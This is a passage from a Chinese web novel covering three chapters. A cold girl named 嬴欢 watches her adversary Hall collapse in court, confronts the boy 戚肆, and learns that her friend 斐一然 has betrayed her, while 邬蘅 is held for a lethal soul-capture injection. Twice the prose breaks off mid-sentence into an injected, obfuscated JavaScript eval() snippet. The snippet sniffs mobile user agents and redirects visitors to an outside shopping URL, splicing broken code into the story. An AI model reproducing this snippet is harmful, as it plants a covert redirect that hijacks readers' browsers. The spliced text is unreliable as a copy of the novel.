嬴欢本身就是一个反叛预备役,她的精神值早就昭告了这一点。 而「001号」是邬泽赋予她的枷锁,他希望她能在一次次的任务中找到善与恶的真谛,至少不要沦落成“反叛者”的地步。 嬴欢对肃清者这个身份并不讨厌,但也绝对谈不上喜欢。什么正义、邪恶,对她而言都只是一份工作罢了。 “可你还是成为了控方证人,不是吗?”霍尔淡淡笑了笑,那笑容藏着无尽的悲楚。 嬴欢的眼皮慢慢合上,发出一声嗤笑,“霍尔,你应该知道那个U盘里的内容其实是非法得来的吧?” “……” U盘根本算不上有效证据,嬴欢明明知道这一点,但她还是以受害者的身份作为证人出庭──霍尔眯了眯眼睛,紧紧盯着嬴欢的脸庞。 “你想表达什么?” 嬴欢抿着唇,睫毛轻颤:“我曾经说过,审判你的不该是我,而是法官。因为我不过是个没什么情感的运输工具罢了,所谓正义与否从不该交给我这种人来裁决。” “而我来这里也不是为了寻求什么正义,我是来利用你的,为了榨尽你最后的价值。”她的话语像无数根荆棘,足矣刺穿胸腔下方的心脏。 少女的表情毫无波澜,她对这场庭审的结果毫不在意,从头到尾都只是在利用这场庭审进行利益最大化。 不过这一趟来得很值得,得到这么多隐藏信息,也算是不虚此行。 41. C-012(二十一) 赤铜色的瞳孔微微紧缩,如同波动的海面。 霍尔很早就知道少女是一个无情的人。但他确实没想到的是,她现在早已不仅仅是简单的无情了,而是实打实的冷血。 你永远都不知道她的怜悯究竟是真情实感还是逢场作戏。 “你的身体已经支撑不了多久了。” 嬴欢看着他越发惨白的脸色,直截了当道。 这种血族秘术似乎会对身体造成很大的消耗。她见他唇边忽然涌出一股鲜血,气息越发虚浮,狼狈不已。 “呵……我不后悔。”他无由头地道了一句,伸出手指艰难地抹去血迹。 指腹滑过嘴唇后留下漫长的血痕,宛若飘渺的薄雾般,残存于冰冷的肌肤上。 不后悔什么? 不后悔走上这条路吗?还是别的?无数种可能性从脑海里冒了出来,但嬴欢却没有再进一步问下去,她抬头看向墙上的挂钟。 已经过去十五分钟了。 * “霍尔先生?霍尔先生?” “不好!他晕过去了!” “快拨打急救电话!快点!” 听到人声,嬴欢的大脑仿佛被钢针扎了一下,她的意识被拉回了现实。 四周的人又开始动了起来,原本肃穆的审判庭忽而一下子变得嘈杂无比,人们脸上表情各异。 嬴欢敛着眉,迅速打量起现场的状况,只见两位身着制服的法警涌入被告席,其中一人将手铐解开,另一人则小心扶起男人,使其能够平躺在地面上。 霍尔的胸腔不断颤动,眼眸紧紧阖着,一股又一股的鲜血从唇角没入颈间,很快,木质地板上便积留了一大滩乌黑的血。 “天哪,他怎么突然流血了!” “他不会死吧?”旁听席位上传来窃窃私语,如同一群躁腾的猫头鹰,连眼睛都不舍得眨一下。 嬴欢缓缓走下证人席,只为了离近些去瞧他痛苦的模样,听那将死的喘息和吞咽,看这张脸如何渐渐褪去色彩。 明明只是个混血种,却强行使用血族的能力,怪不得会被反噬呢。 方才那短暂的十五分钟,是霍尔靠着硬生生的“烧命”强行夺来的。而现在,正是到了油尽灯枯之时。 庭审因为这场突发事故被临时中断,不少人围了上来,开始指指点点。 少女被人们挤在最中央的位置,她的手安静地垂在身侧,眼中没有一丝怜悯。 尽管他的血液确实在散发着诱惑的气味,但也仅是瞥了一眼,紧接便径直绕过了男人,朝着庭外走去。 大厅里坐着不少媒体记者,他们宛若向日葵找到了太阳似的,一个个迈着大步朝她走来。 无数个收音设备怼在她的嘴边,嬴欢强忍着心底的烦躁感,面上还是维持着标准的可怜小女孩儿的人设。 “里面出了一些事故,麻烦各位不要在大厅里聚集了。” 事故?法庭里能出什么事故?众人疑惑,试图从她嘴里撬出更多信息来。 “疯子!你到底做了什么?!” 尖锐的女声划破了人群的喧嚣,不少人被这声音吓了一跳,纷纷寻找声音来源。 只见一位高个子女人直接推开碍事的摄像师,从人群外部一路来到了嬴欢的面前。 她脸上的怒意就像要把少女千刀万剐似的,吸引了不少镜头。 嬴欢扯着嘴巴笑了笑,轻声问候道:“你好啊,秘书小姐。” 嚯,这两个人竟然认识! 秘书盯着她轻松的神色,气不打一处来,她恨恨道:“真是恶心的家伙──你们都被她骗了!她就是个疯子!” “秘书小姐,诽谤他人可是重罪,你可要说清楚了。”有记者善意提醒道,顺便将麦克风夹在她的领子上。 众人期待地看着她。 “……”秘书的呼吸顿了顿,她要怎么说?说她老板和这个小姑娘其实有一腿? 老板从医院醒来的第一件事就是嘱咐她,不要手底下的人挡嬴欢的路。 但她不甘心,凭什么老板对这个疯子般的少女如此上心?那明明就是个忘恩负义的怪物! 她无比想问问眼前的少女,她到底给他喂了什么迷魂汤?为什么能把一个男人变得如此愚钝! 研究所毁于她手,集团内部变得摇摇欲坠,这些都要归功于这个叫嬴欢的家伙。 她不仅打伤了他,如今还站在了证人席,简直就是明晃晃地站在他的对立面。 可是他呢,他仍然抱着她会扭转心意的念头,一错再错。 究竟凭什么?为什么! 秘书在霍尔手下待了近五年,算是一手看着集团一步步站在世界的巅峰,可大厦即将倾塌,这五年来就像一个美妙的泡影。心血倾尽,到最后却一无所有。 女人的胸口剧烈起伏着,一滴眼泪从眼眶里缓缓滑落,她死死咬住嘴唇,眼底的猩红有些骇人。 忽然,一只手轻轻搭在她的肩上。 她看见少女的脸慢慢贴近自己,耳边传入平静的声音:“你明明值得更好的上司,他这样的人真的值得你追随吗?” “……” 嬴欢继续用食指轻轻擦去她的泪痕,“他不是一个合格的掌权者,这一点早就由我证明了不是么?” “……” 女人本想回答什么,可是门外突然响起了救护车的警笛声,打断了她的思绪。 * 医院。 嬴欢坐在走廊的公共座椅内,单腿交叠,品鉴着这里昂贵的茶叶。 平淡无味。 不知过去了多久,茶杯满了又空,空了又满,耐性如嬴欢,也不免感到枯燥乏味。 秘书站在抢救室门口,低头看着手机,头顶上写着“手术中”的牌子仍然在常亮着。 嬴欢抬了抬头,看向墙上垂挂着的电子钟。 傍晚六点一刻。 秘书的脸色很苍白,眼底布满血丝。期间她签了好几份手术知情书,又接了无数个电话,嗓子逐渐变得沙哑。 两个人没有哪怕一句对话,嬴欢只顾着喝茶,而秘书则忙着处理工作,就这样和谐地共处一室。 那些吃人不吐骨头的媒体被保安拦在了医院大门外,毕竟是霍尔占股的私立医院,这点小事实在不值一提。 手术室的灯光突然灭掉,大门拉开,穿着手术衣的医生快步走了出来。 秘书紧紧拉着医生的衣袖,“他怎么样了?” “秘书小姐,我们──尽力了。” 医生的这句话宛如晴天霹雳,不仅是秘书,连嬴欢都微微愣了愣,手里的茶杯险些落在地上。 “……”女人的手指开始止不住的颤抖,后背贴在冰冷的墙面上,眼神凝滞在某一处。 嬴欢静静看着她掩面哭泣。 身上那件西服已经变得皱皱巴巴的,干练的黑发垂落在眼睛前方,几缕发丝被打湿了边缘,竟让人无端觉得有些心疼。 冰冷的瓷砖映照着嬴欢的脸庞,举起茶杯,饮尽其中最后一口苦涩的茶水,她起身打算离开。 电梯门缓慢打开,一道声音却制止了她向前的脚步。 “等等,你难道不去见他最后一面吗……” 嬴欢背对着女人,轻叹了一口气,她真巴不得再也见不着他。 此刻的他大概已经被守株待兔的管理局负责人带走了吧?想到这里,横亘在嬴欢心中的大石头总算一扫而空了。 不过秘书是理解不了嬴欢心情的,她被蒙在鼓里,永远都不会知道这个世界背后的真相。 “嬴欢,他明明那么……爱你……” “那不是爱。”她冷冷回答道,没有一丝的犹豫。 “可是──” 可是爱的定义与形式有无数种,你怎能就这样轻易否定了他的爱?你怎能如此傲慢! 女人的目光落在少女的背影上,她恨不得嬴欢能够出言反驳她,或者对她破口大骂也好,至少表明她的眼中还有自己的存在。 但她没有。 少女走进电梯,按下楼层键,从头到尾都没有看她一眼,就像偶然路过的陌生人似的。 “别走……别走……” 透过电梯门逐渐缩小的缝隙,嬴欢的余光瞥到女人正在跌跌撞撞地站起身朝着自己扑来。 而就在电梯门关闭的刹那间,她听见了来自女人的怒吼,以及□□撞在门上的声音。 “回来……回来……” 电梯下行,声音也渐渐远去。 * 嬴欢拖着疲惫的身体回到出租屋,刚一进门,她又感觉到了那种熟悉的奇怪征兆。 她将钥匙从锁孔拔了下来,稳住气息,眼中暗含杀意。 漆黑的屋子里没有灯源,只有月亮投下的微弱光芒。 沙发上坐着一个人,看不清脸,只能见到一道模糊的轮廓。 嬴欢在门口站了半晌,见那人迟迟没有自报家门的意思,于是便主动踏着影子向他走去。 冰冷的刀光在他手中不断闪烁。他把玩着小型刀具,一双眼睛于黑夜中熠熠生辉。 突然,寒光一闪。 小刀直奔她的喉咙飞去,少女一个侧首,轻松躲过袭击。 他没想要她的命,只是试探而已。 “我应该叫你074,还是戚肆?” “你的敏锐可真是让人嫉妒不已。”那人影忽而站了起来,认真活动了一下筋骨。 而月光就恰好打在他的侧脸上,尖削的鼻梁下是形状标致的唇,玻璃般的眼珠映着细碎的闪光。 他朝她一步步走来,二人保持着半米的距离,少女眯了眯眼睛,瞳孔宛如针芒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174922|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不得不说,他的到来让人出乎意料。 “勇气可嘉,想来你已经做好下地狱的准备了。” 少年老实地举起双手,语气无比冷静:“别这么着急,我们之间应该还有挺多话可以谈的。” “哼,还是和鬼谈去吧──”她一把抄起身旁的灯具,以迅雷不及掩耳之势,猛然朝着他的头部挥击。 戚肆堪堪躲避,有些狼狈地倒在沙发上,不禁皱了皱眉。 少女选择直接用拳头招呼这位“客人”。 她冷然向前走去,每一步都带着让人颤栗的杀意,甚至难以看出这是个年龄只有十五岁的孩子。 “……” 他的鼻腔里充斥着干燥的空气,也许在下一秒,代替它的将会是近似于铁锈的味道。 戚肆紧紧咬了咬牙,克制地喊道:“你难道就不想知道斐一然的下落吗!” 拳头略微一偏,至少没有正中太阳穴,而是落在了较为坚硬的下颌骨。 一声闷哼后,少年向旁啐出一口鲜血,血液洇湿了陈旧的地毯,落下一片暗红。 但很快,他抬手擦了擦嘴角腥稠的血,声音里带着难以言喻的兴奋,仿佛不要命似的地嘲笑道:“看吧,你总是这么轻易地暴露软肋。” 嬴欢一把揪起他的领子,字字淡漠:“她在哪里?” “你知道霍尔不惜耗费人力和财力,甚至把自己也搭进去,都是为了什么吗──” 他忽视了她的质问,反而提出一个不相干的问题。 关于霍尔,那早就不是嬴欢该关心的事了,她现在只想知道眼前这个家伙究竟在玩什么把戏。 “你到底想表达什么?别怪我没有警告你,我的耐心可不多。”她威胁般地扼住他的脖子,皮肤下的颈动脉触手可及。 戚肆紧紧盯着面前的眼睛,大概五秒钟后,他仰头大笑:“哈哈哈──原来你什么都不知道?” 嬴欢下意识地眯了眯眼睛,“什么意思?” 戚肆笑着摇了摇头,亲自为她解开答案:“他在研发一种极为特殊的装置──能够禁锢灵魂的装置。同时,他还用死亡的实验体研究如何让人‘死而复生’。” ……禁锢灵魂、死而复生?怎么听着有些耳熟呢? 大概是因为每个反派都有这种类似的梦想吧,嬴欢想。 她曾完整看过那些所谓的“商业机密”,只知道霍尔背地里做了很多突破道德底线的勾当,比如器官贩卖、人体实验等。 但那些文件资料里完全没有提到过有关戚肆所说的“灵魂禁锢装置”、“死而复生”这些研究。 是被刻意隐藏了吗?还是戚肆在说谎话? “你接着说。” 嬴欢暂且不问他是怎么知道这些信息的,她只想看看这少年到底想要告诉她些什么。 戚肆的眼睛动了动,还说什么?他该说的不都说了?她不应该相信他吗?怎么还不放手呢?他都快被她活活掐死了! “你都已经把霍尔推入地狱了,这些研究早就没有进行下去的动力了。” “你很希望研究进行下去?”她反问。 五指不自觉地握紧,少年露出痛苦的神色,他奋力挣扎了几下,毫无效果。 “这和你绑架斐一然有什么关联?” “……”戚肆用力掰开她的手指,终于得到一丝喘息的工夫。 他怒目而视,声音嘶哑:“别污蔑好人啊,谁和你说我绑架她了?我绑架她有什么用!” 嬴欢的大脑有一瞬间的宕机,074竟然否认绑架斐一然?那斐一然到底去哪儿了? 不对不对不对── 嬴欢直直望着他的眼睛,那里没有谎言。 他说的是真的。 戚肆一只手捂着被勒住痕迹的脖子,大口呼吸着久违的空气,用近乎戏谑的眼神冷冷逼视,“嬴欢,你可真是够蠢的。” “你如此相信斐一然,只是因为她是你救下来的人吗?既然如此,你为什么不愿相信我呢。” “哈哈哈哈──瞧瞧你生气的样子,你这辈子都没有被人愚弄过吧!真得好好感谢斐一然啊。” 戚肆还在肆无忌惮地大笑着,但就在一瞬之间,他的双手被嬴欢反剪,手腕上多了一双冰凉的手铐。 【剩余反叛者数量:1。】 嬴欢最不愿相信的结果来了。 戚肆被反方向抵在沙发靠背上,双臂被折成扭曲的角度,忍着急剧加深的疼痛,他不得不扭头去嘲讽这个愚蠢的女人,“你以为控制住我就能改变现状吗?” 她一脚踹在他的小腿中央,细瘦的身板霎时间半跪在地上,少年痛呼一声,却还有心情咧开嘴大笑。 “暴力是无能者的行径。”他发出虚弱的声音,连呼吸都变得有些困难,“嬴欢,承认吧。你被她耍了,从始至终。” 42. C-012(二十二) 平底锅散发着热气,锅底倒入微量的油,打入两只鸡蛋。 戚肆一边用锅铲将鸡蛋翻面,一边打开窗户,油烟味顺着狭小的缝隙逃走。 不过些许工夫,一个完美的煎蛋被铲进盘子中。 戚肆在少女的指使下被迫承担了做晚饭的任务,可惜他长这么大除了煎蛋也没做过别的,只好把冰箱里仅剩那几只鸡蛋拿来做简易的晚餐。 他现在有些想念泡面了。 “你为什么回来?”嬴欢靠在厨房的一边看他翻蛋饼。 能看得出来这小孩儿没什么生活经验,拿锅铲的动作看着相当别扭。 “如果知道回来会平白无故挨一顿打,我宁愿死在外面。”说完,戚肆被油烟呛得咳嗽了几声,清疏的眉毛快要拧成一股绳。 少年举手投足都带着些文人的虚弱劲儿,和刚才那个玩刀的他相比,简直判若两人。 嬴欢有些好笑地盯着他青肿的嘴角,“不打你怎么对得起你那封信呢?” “想让我一辈子在痛苦中活着……”她继续说,“你恐怕注定要失望了。” 他翻煎蛋的动作一顿,努着嘴唇,拿起椒盐瓶将盐粒倾洒在蛋黄上。 其实他自己也不知道为什么还会回到这个破地方。 明明早就打算离开这里永远不再回来了,不是吗? 在一旁少女炯炯的目光下,戚肆小心无比地端着两个盘子放在餐桌上,抽出几张纸巾擦了擦手。 他悄悄瞟了一眼嬴欢,确认她眸中没有代表生气之类的情绪后,心跳终于缓和了下来。 他叹了口气,“虽然这么说你可能很难相信,但……我真的知道斐一然的下落。” 果不其然,他的话音刚落,嬴欢便露出了无比严肃的神色。 她还以为他在沙发上那些话只是为了故意气她,或者是为了少挨些打,但没想到的是,这人嘴里竟然也是有真话的? “看来我得认真地警告你,说谎的下场可远比你想象得还要惨烈。”嬴欢此刻的声音比钢铁还要坚硬。 少年直接从口袋里拿出一只手机,嬴欢定睛一看,那不正是邬涟用来打游戏的手机吗? 她的疑惑变得更多了。 打开锁屏,一个类似于地图的页面映入眼帘,上面闪烁着一个鲜艳的小红点。 见她面色阴沉,戚肆连忙用极快的语速解释道:“在你从法院回来之前,我在客厅里正好碰见了邬涟。” “那男人上来就要杀了我,为了保全性命,只好借用了一下他的手机,然后把斐一然的地址给他看喽。”说到这里,戚肆摇晃了一下手机。 不过邬涟是个急性子,连手机都没拿匆匆记住坐标便丢下他一个人离开了。 嬴欢暂且认可了他的辩解,她指了指手机上的红点:“这就是斐一然的坐标?你从哪里搞来的?” “我在斐一然身上安装了隐形追踪器。” “什么时候?” “当我背着她来到这个出租屋的那一天。”戚肆趁着斐一然还在昏迷的时刻,很不光彩地在她的手臂埋入了皮下追踪器。 嬴欢凝视了他几秒钟,拿起桌上的车钥匙便往外走。 “喂!你现在就走吗?饭都不吃了?” 少年有些可怜地望了望自己的煎蛋,心下一横,紧忙追了出去。 * 阴暗的地下室内。 挂着水雾的眼睫轻轻颤动,湿润的空气进入气管,一路抵达肺叶。 邬蘅的全身像被人痛打过似的,疲惫酸软不说,甚至使不出一丝力气。 也不知道自己昏睡了多久。 胃部传来剧烈的收缩感,身边有几袋营养液的空包装,想必是那些人强行给她灌注了这些流体食物。 她无比费力地将手伸向颈边,在距离锁骨一掌处有个明显的针孔,稍微一碰还会隐隐发麻。 她不知道那些人给自己注射了什么药物,还好目前身体除了疼痛之外没有其它异样,至少还留着一条命。 邬蘅强迫让自己放下焦虑感,凝神静气。 一口气缓缓吐出,她睁开眼睛,开始仔细观察这个空间。 这里是某个楼层的地下室,和研究所的比起来要大上几倍不止,但破旧程度却相差无几。 头顶上方是不断闪烁的冷光灯,身下是生锈的铁皮地面,四周是潮湿的白灰墙壁。地下室里没有多余的窗户,只有一个装着扇叶的通风口,透气性极差。 铁门处传来锁链的摩擦声,脚步逐渐靠近,带着骂骂咧咧和一阵吵闹。 一个把玩着钥匙圈的刀疤脸率先走了进来,他吹了声响亮的口哨,眉尾挑起。 他身后紧跟着的是一个络腮胡黑圆帽的男人。 邬蘅通过两个男人身上的特征,几乎一眼就认出了他们的身份:“呵,原来是你们……” 他们是研究所最大的赞助商之一赫伯特·霍尔的属下,并不负责研究所的具体事务,但偶尔会代替霍尔来研究所巡查。 邬蘅的资料里提到过他们,虽然只有短短半句话。 “呦──叛徒,怎么没死在爆炸里?”其中的刀疤脸男人狠狠掐着她的下颚。 “两个狗腿子也配和我说话?”邬蘅露出一道嘲讽的笑容,几缕发丝在鼻梁边缘轻轻晃动。 “别再废话了,准备给她注射吧──让她实现最后一点儿价值。”黑圆帽男人面色冷淡。 说完,他走上前来,手里拿着一个金属托盘,里面是一支注射器和一个安瓿瓶之类的东西。 这帮混蛋,竟然要把她当作实验体! “滚开!”邬蘅猛然挣扎起来,潮湿的头发甩在男人脸上,打出几道红印。 “啧。真是个麻烦,过来摁住她!” 邬蘅看着越来越近的针筒,瞳孔紧缩。 她认出来了,那是研究所竭力研发的“濒死药剂”! “濒死药剂”是灵魂摄取的最后准备,将药剂分量注射进实验体内,使实验体陷入濒死状态。 邬蘅对这个药剂再熟悉不过了,曾经的那些实验体们都死于最后一步──药物注射。 没有人可以扛得住其中致命的化学成分,所谓的“灵魂禁锢”和“复活”不过是上位者们无望的妄想罢了。 “你们温柔些,别这么暴力。”一道女声从楼梯上传来。 男人们停下动作,微微仰首。 邬蘅瞪大了双眼,眼前的人让她误以为自己眼睛瞎了。 “为什么……斐一然。” 女孩儿穿着一身黑色的老式长裙,眉眼间被苍白的颜色点缀,饱含疲惫的眼袋反倒添了几分成熟。 那双眼睛比任何一刻都要冰冷,她朝着下方的喧闹望去。 “很惊讶么。”她的手指缓缓滑过楼梯的金属扶手,不紧不慢地走到邬蘅的眼前。 她与邬蘅记忆中的女孩儿无比相似,圆润的杏眼、飘长的头发──可是为什么,为什么会变成现在这个局面? “你心里一定乱极了对吗?其实,我不是你们的敌人──” 斐一然轻轻抚摸邬蘅的头发,被狠狠剜了一眼后,仍然含着微笑继续开口道:“你一定觉得是我欺骗了你、欺骗了嬴欢、欺骗了每一个人……” “但我可以保证地说,我对你们所说的每句话都是货真价实的。” 邬蘅狠狠抓住她的衣料,干瘪的眼眶里流露着厌恶,她以最狠厉的言语唾弃道:“哈哈哈哈哈──斐一然,我可真得谢谢你,谢谢你让我认清了什么叫人性。” 凌乱的绿色挑染贴在耳廓,湿汗从脖颈点点滑落,邬蘅眼前陷入模糊,她猜,一定是之前的药物还在扩散。 可恶,可恶。她不要死在这里,她不想死在这里! “你们出去吧,最后的步骤让我来。”斐一然突然冲着两个男人开口道。 男人们你看看我,我看看你。 这种被信任之人背叛的戏码可不常见,甚至算得上一种恶趣味,他们互相笑了笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14199551|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “姓斐的,劝你别耍什么无用的把戏。”念在她曾经深受霍尔信任的份儿上,他们默许了斐一然的任性。 不过说到底,他们也是想看看她到底能不能狠下心来杀了这个叫邬蘅的女人,毕竟,他们可容忍不了出现第二个叛徒。 说完,他们把空间留给两个女孩儿,站在楼梯口抽起了烟。 地下室的灯老旧而昏暗,斐一然举起手中的注射器,大而亮的杏眼细细观察着刻度条。 银色的针头锐利无比,仿佛麦穗上闪闪发光的麦芒。 “还记得那座研究所吗?我恨极了那里。”她的声音像晨间的白雾,脆弱而稀薄。 “我的母亲──”她停顿了一下,继续对邬蘅说:“她曾经也是那个研究所的一份子。后来,或许因为良心难安吧──她在就职不到一个月便退出了研究。” “她的职位,与你一样。”斐一然把目光转向邬蘅,“是你的上一任前辈呢。” 虽然对她的身世很惊讶,但邬蘅仍然不作任何表示,打定了心思要将冷漠贯穿到底。 “再后来嘛,研究所通缉了她,她只好一路逃到老家。那里是个贫瘠的山区,民生凋敝、思想野蛮……” “她在那里生下了女儿。成为她一生悲剧的开始。” “山村中的村民绝大部分都是近亲结婚,而我──也是近亲繁殖的产物。” 邬蘅的思绪动摇了一瞬,她狠狠咬着牙,使自己保持清醒:“你到底想做什么?诉苦水?装可怜?我对你的过往毫无兴趣,你可以闭上嘴巴了!” 斐一然置若罔闻,继续讲述着她的故事。 “原本,我会因一种特殊的基因病死在十岁那年。但值得庆幸的是,我在偷渡的路上遇见了霍尔的下属们,他们接纳了我,通过实验救了我的一条命。” 有一种罕见的毒素可以很好的抑制斐一然的病情,但会使肾脏透支严重,靠着长年累月的以毒攻毒才让她活到今天。 她曾在很长一段时间被内心深处的道德感所折磨,但仔细想想,自己与研究所也不过是各取所需的关系罢了。 霍尔固然可恨,但对于当时陷入绝境的她来说,她的命是被这个混蛋和他的研究救下来的。 “我身体里有一种变异抗体,能够帮助他进行更多的研究。于是,我成为了实验体之一。我真的很感谢那时我的决定,不然我也不会在那里遇到她……” 邬蘅几乎一瞬间就猜到了那个“她”是谁。 “你最好祈求她还没识破你的把戏,不然……”邬蘅看了看她的心脏,咧嘴一笑,“她一定、一定会亲手除掉你。” 斐一然忽然黯下神色,“你说得对,我会成为她这辈子最恨的人吧?”她的声音浅淡到几乎听不到了。 砰── 她手中的注射器不由得颤抖了几下。 外面传来激烈的打斗声与一阵阵惨叫声,邬蘅像看见光一般亮起了眼睛。 那人身手不凡。不到半分钟,一切声音都停止了。 斐一然静静地站在原地,仿佛早知道有这一刻。 又是一声巨响。 地下室的铁门被暴力打开,斐一然望着楼梯上的人笑了笑:“哦,原来是你。” 头发凌乱地挡住他的目光,邬涟压抑着嗓音,双手鲜血淋漓。 “呵……今天就是你的死期。” “是戚肆透露的线索吧?他总是这样。”斐一然淡淡地看向男人,“明明和我一样肩负着生命的枷锁,他却能活得坦荡……” 她的话像某种诗篇中的节选,让人摸不着头脑。 然而话音翩翩落下,几个凶猛的机械体便从四面八方冲了出来,顿时将邬涟团团围住。 他们不同于两年前的那些机械体,他们经过升级迭代,无论性能还是坚硬程度都上升了好几个档次。 “祝你好运。” 斐一然的表情虽然在笑,可眼底却是究极的冷漠,就像置身事外的陌生人。 43. C-012(二十三) 少年在狭窄的楼梯里奔跑,但即便这样也还是难以追上她的背影。 “等一下!”背后传来制止声,她不由得皱了皱眉头。 少女冷冷睨了他一眼,含着命令道:“那里危险,你别去了。” “呼──别动。”他艰难地喘着粗气,一把摁住她的右臂,在那道略显不耐的目光下,把手心里的钥匙夺了过来。 “看仔细了,这可不是你的车钥匙!” 嬴欢眨了眨眼,才反应过来自己随手抓走的钥匙并不是自己的机车钥匙,而是来自一辆轿车。 “你的车被早那家伙开走了,这把是房东的车钥匙。” 早先邬涟为了去一趟研究所废墟进行调查,特意向楼下的老房东借了一辆车,房东本人本来就很少开车,钥匙便一直扔在他们出租屋的桌面上。 “车呢?” “你、你有驾照吗……” 嬴欢眉头轻皱,她这辈子开过的车、飞行器、重型装甲等等都可以绕狄兰城一圈了,还是头一次听到这么不信任的言论。 “就算没有又怎么样,邬涟不也照样开了?”嬴欢不想和他说多余的废话,又盯着他问了一遍:“车、呢?” 戚肆停顿了一下,不情不愿地指向某个方向。 嬴欢顺着他的手指望去,只见一辆破旧到只能勉强能辨认出车型的面包车停在水泥地上。 “……” 两个人开着楼下房东的车,在无人的公路上飞驰。她的油门一直踩到底,呼啸的风刮起耳边的短发。 车后座坐着个老老实实系着安全带的少年,他拉住头顶的把手,“大姐,你这车速是要奔着九尺黄泉去吗!” 无数的树影从他们身侧远去,像无数只扎根在路边的孤魂野鬼,周围冷清得让人有些毛骨悚然。 她没怎么开过这种私家车,纯靠肌肉记忆把持着方向盘,车速拉到最顶。 戚肆早就开始后悔跳上这辆夺命车了。 “你,你真的不好奇我的身份吗?”他紧张时总会说些有的没的。 嬴欢紧盯路面,心想,他既不是反叛者,也不是绑架了她伙伴的人,管那么多干嘛呢? 不过──既然他选择主动打开了话匣子,她也确实有很多疑惑未解,如果问不出来准确的答案,那些疑问将会慢慢沉积在她的心底,直到成为新的石头。 “你故意支走邬涟,为什么?”嬴欢看着后视镜。 戚肆紧紧抓住安全带,微微睁开眼睛:“我这叫日行一善!” 嬴欢被风吹得头脑胀痛,她看着蜿蜒的导航路线,继续加速。 “你在信上说我坏了你的好事,是因为实验药剂吗?” 他沉默。 “这一次你自投罗网,恐怕也是为了斐一然手上的药剂吧?” 他继续沉默。 嬴欢垂了垂眸,看来他的身份和这药剂有着千丝万缕的联系,他的目标从来都只是药剂。 “你还记得我说的两个研究方向吗?”嘴唇蠕动。 灵魂摄取、死而复生。 全星际中想要研究这些的怪人可多了去了,嬴欢想。 戚肆继续说道:“斐一然的母亲曾经就是研究这些方向的研究员,只不过她在中途突然退出了。” 听到熟悉的人后,少女的呼吸略微凝滞,握住方向盘的手指用力至发白,但车速却仍然没有降下来的意思。 嬴欢从李玉清那里得知了一部分关于斐一然母亲结婚后的事情,但结婚之前的事她还真的未曾了解过。 她听得认真。 “那已经是二十多年前的事情了吧,你是怎么知道这些的?”她下意识发问。 几十年前,霍尔可还没投胎呢,难道那时候就已经有人开始进行人体相关实验了吗? 他忽然噤住了声,黑发遮挡住了一部分的眼睛,像声嘶力竭后骤然失声的雏鸟。 “你哑巴了?”嬴欢盯着后视镜。 少年将头埋在胸前,过了许久才开口道:“你知道……‘灰鲨’吗?” 嬴欢猛地向左打方向盘,几只飞鸟从地面惊起,在一个左转弯后,车子彻底驶入了漆黑的夜中。 安静无声的车内,只剩下冷风的呼啸。 “你是说,灰、鲨?”她一字一句地确认他口中那个几乎是禁忌的词语。 那不是她熬夜苦读的专业书里的名词吗? 关于灰鲨和伊科翡,书中有关他们的内容至少占了三个章节的篇幅,通篇都是些晦涩难懂的术语,文字表达遮遮掩掩,可以窥见编者对这段历史的描述相当克制。 嬴欢有些想不通的是,灰鲨这家伙不都消失好久了?有关它到底是一个人还是一群人都争议了几百年,怎么会在几十年间突然冒出来,还是在毫无风声的情况下。 嬴欢对074的话语可信度保持高度怀疑,但她还是选择继续倾听下去:“你接着说。” 他叹了口气。 “‘灰鲨’绝对不是什么独立的个体,更可能是一个类似于教会的团体,里面凝聚了许多信念统一的教众。” 戚肆猜到了她的想法,她一定在觉得自己在瞎编,于是只好又透露了一点儿自己的情报:“斐一然母亲就职的那家研究所背后就是一家神秘的教会在资助。” “就算如此,你也不能平白无故就把教会和‘灰鲨’划上等号。”嬴欢听完他这番逻辑,不由得摇了摇头,“何况它还有个众所周知的身份──军、火、商。” “一个披着军火商外皮的极端教众团体,还需要我说得更清楚吗?”少年有些恼怒了,他深深沉下一口气,让自己保持冷静。 “现在的有钱人不都多多少少有点儿信仰的东西吗?比如各种神啊、甚至鬼啊之类的。”他嘟囔着。 当然,他其实是有更多证据的,但不想就这么便宜了嬴欢。至少……至少也要让她先开口求他吧?他又不是那种让人随意呼之即来挥之即去的人。 少女陷入了自己的思绪中,分毫没注意到少年正昂首等待她开口求他的模样。 “喂,你怎么不继续问下去了。”等得有些烦了,戚肆不禁率先开口。 嬴欢看了一眼他的表情,心下了然。 “既然你能查到,那我也可以。” 他有一瞬间的石化,洁白的齿尖微微咬紧,故作淡定:“有些东西过了这个村可就没这个店了。” 嬴欢无语地舔了舔下唇角,“老实”是她对他最大的误解。 “要么说,要么就闭嘴。藏头露尾的很煞风景。” 戚肆皱了皱鼻子,他怎么才发现这女人原来这么冷酷无情,一声闷哼后,不情不愿道,“那就从头开始说起吧。” “斐一然的母亲曾经帮助了很多实验体。” 其中也包括了他的妈妈。 那时候他的母亲还正怀着身孕,而当时那些研究人员正好需要一个孕妇实验体,并且想要借此来观察实验药剂对胎儿以及母体的影响。 于是母亲和还在子宫中的他一并成为了那场实验的实验品,母亲被注射药剂时已经是孕晚期,在药物的影响下被迫早产。 可以说,戚肆是出生在研究所里的孩子。 在他出生没多久时,身为研究人员之一的斐一然母亲还会允许母子两人有一周三次的见面次数。 但,在戚肆出生几个月后,她辞职了,不见踪影。 而也是在那之后,戚肆再也没有见过自己的妈妈。 